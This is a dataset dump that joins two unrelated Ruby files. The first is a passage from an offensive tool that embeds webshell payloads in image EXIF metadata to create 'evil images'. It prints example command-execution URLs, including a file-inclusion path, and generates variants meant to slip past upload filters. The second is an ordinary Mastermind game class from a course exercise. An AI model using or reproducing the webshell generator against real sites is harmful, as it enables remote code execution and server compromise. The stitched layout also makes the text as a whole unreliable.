puts "Provided Tag doesn't appear to exist".light_red + "!".white
if photo.tags.include?('Comment')
puts "Trying generic approach to try and write to 'Comment' Tag".light_yellow + ".....".white
options[:tag] = 'Comment'
else
puts "Trying generic approach to create and write to Comment Tag".light_yellow + ".....".white
options[:tag] = 'Comment'
end
end
original = photo[options[:tag]]
puts "Attempting write to the ".light_blue + "'".white + "#{options[:tag]}".light_blue + "'".white + " tag".light_blue + "....".white
puts "Current Value".light_blue + ": #{original}".white
puts "Write String".light_blue + ": #{options[:str]}".white
if write(photo, options[:str], options[:tag])
photo.reload # reload the new file info
if original != photo[options[:tag]]
puts
puts "Appears things were successful".light_green + "!".white
puts "Updated Value".light_green + ": #{photo[options[:tag]]}".white
else
puts "WTF".light_red + "?".white + " Doesn't appear we changed the value".light_red + ".....".white
puts "Value".light_yellow + ": #{photo[options[:tag]]}".white
puts "Make sure Tag name was spelled properly, is writable and try again".light_red + "...".white
end
else
puts "Problem writing to '#{options[:tag]}' Tag".light_red + "!".white
puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white
end
when 3
# Evil Image Shell Generator
case options[:shell].to_i
when 0
# Sneaky Shell
shell = 'Sneaky'
payload = sneaky_shell
c = "http://localhost/#{options[:img].split('/')[-1]}?0=system&1=id"
when 1
# r0ng Shell
shell = 'r0ng'
payload = r0ng_shell
c = "http://localhost/#{options[:img].split('/')[-1]}?r0ng=id"
when 2
# System Shell
shell = 'System'
payload = system_shell
c = "http://localhost/forum/profile.php?inc=/profiles/0123456789/#{options[:img].split('/')[-1]}?cmd=id"
when 3
# Eval Shell
shell = 'Eval'
payload = eval_shell
c = "http://localhost/#{options[:img].split('/')[-1]}?cmd=system('id');"
end
# Make sure our evil images directory exists, if not create
# We also create a temporary directory to move images in and out of for use without affecting original
# Delete temp dir and cleanup when done
tmp = HOME + '/temp'
Dir.mkdir(EVIL) unless File.exists?(EVIL) and File.directory?(EVIL)
Dir.mkdir(tmp) unless File.exists?(tmp) and File.directory?(tmp)
real = MiniExiftool.new(options[:img])
innocent = tmp + '/' + options[:img].split('/')[-1]
FileUtils.copy_file(options[:img], innocent, preserve = true)
Dir.chdir(tmp) do
photo = MiniExiftool.new(options[:img].split('/')[-1])
v = photo.exiftool_version.to_s.split('.')
height = photo.image_height
width = photo.image_width
puts
puts "ExifTool v#{v[0]}".light_red + ".".white + "#{v[1]}".light_red
puts
if not real.tags.include?(options[:tag])
puts "Provided Tag doesn't appear to exist".light_red + "!".white
if real.tags.include?('Comment')
puts "Trying generic approach to try and write to 'Comment' Tag".light_yellow + ".....".white
options[:tag] = 'Comment'
else
puts "Trying generic approach to create and write to Comment Tag".light_yellow + ".....".white
options[:tag] = 'Comment'
end
end
original = photo[options[:tag]]
puts "Attempting to write ".light_blue + "'".white + "#{shell} Shell".light_blue + "'".white + " to the ".light_blue + "'".white + "#{options[:tag]}".light_blue + "'".white + " tag".light_blue + "....".white
puts "Current Value".light_blue + ": #{original}".white
puts "Write String".light_blue + ": \n#{payload}".white
puts
if write(photo, payload, options[:tag])
photo.reload # reload the new file info
if original != photo[options[:tag]]
FileUtils.copy_file(options[:img].split('/')[-1], "#{EVIL}/#{options[:img].split('/')[-1]}", preserve = true)
puts
puts "Appears things were successful".light_green + "!".white
puts "Updated Value".light_green + ": #{photo[options[:tag]]}".white
puts "Find your evil image here".light_green + ": #{EVIL}#{options[:img].split('/')[-1]}".white
puts "Example #{shell} Shell Execution".light_green + ": #{c}".white
else
puts "WTF".light_red + "?".white + " Doesn't appear we changed the value".light_red + ".....".white
puts "Value".light_yellow + ": #{photo[options[:tag]]}".white
puts "Make sure Tag name was spelled properly, is writable and try again".light_red + "...".white
end
else
puts "Problem writing to '#{options[:tag]}' Tag".light_red + "!".white
puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white
end
end
FileUtils.rm_rf(tmp)
when 4
# Delete MetaTag if possible
photo = MiniExiftool.new(options[:img])
if not photo.tags.include?(options[:tag])
puts "Can't delete what doesn't exist".light_red + "!".white
puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white
else
if delete(photo, options[:tag])
puts
puts "Appears MetaTag removal was successful".light_green + "!".white
puts "Run the dump option to confirm the changes".light_green + "....".white
else
puts "Problem wiping Tag".light_red + "!".white
puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white
end
end
when 5
# Uploads Generator
puts
puts "Generating file upload bypass possibilities for #{options[:shell].split('/')[-1]}".light_blue + ".....".white
generate_uploads(options[:shell], flip='gif')
puts "Uploader bypass files created".light_green + "!".white
puts "Find them all here".light_green + ": #{UP}".white
puts "May the force be with you".light_green + "...........".white
end
puts
puts
# EOF
| true
|
d613e23a87f37caebdb6a4aee46f896869cc81e9
|
Ruby
|
justin-tse/app-academy
|
/02-software-engineering-foundations/08-object-oriented-programming/justin-fa-mastermind_project/lib/mastermind.rb
|
UTF-8
| 462
| 3.484375
| 3
|
[] |
no_license
|
require_relative "code"
class Mastermind
def initialize(length)
@secret_code = Code.random(length)
end
def print_matches(other_code)
puts "exact matches: #{@secret_code.num_exact_matches(other_code)}"
puts "near matches: #{@secret_code.num_near_matches(other_code)}"
end
def ask_user_for_guess
p "Enter a code"
user_guess = Code.from_string(gets.chomp)
self.print_matches(user_guess)
user_guess == @secret_code
end
end
| true
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.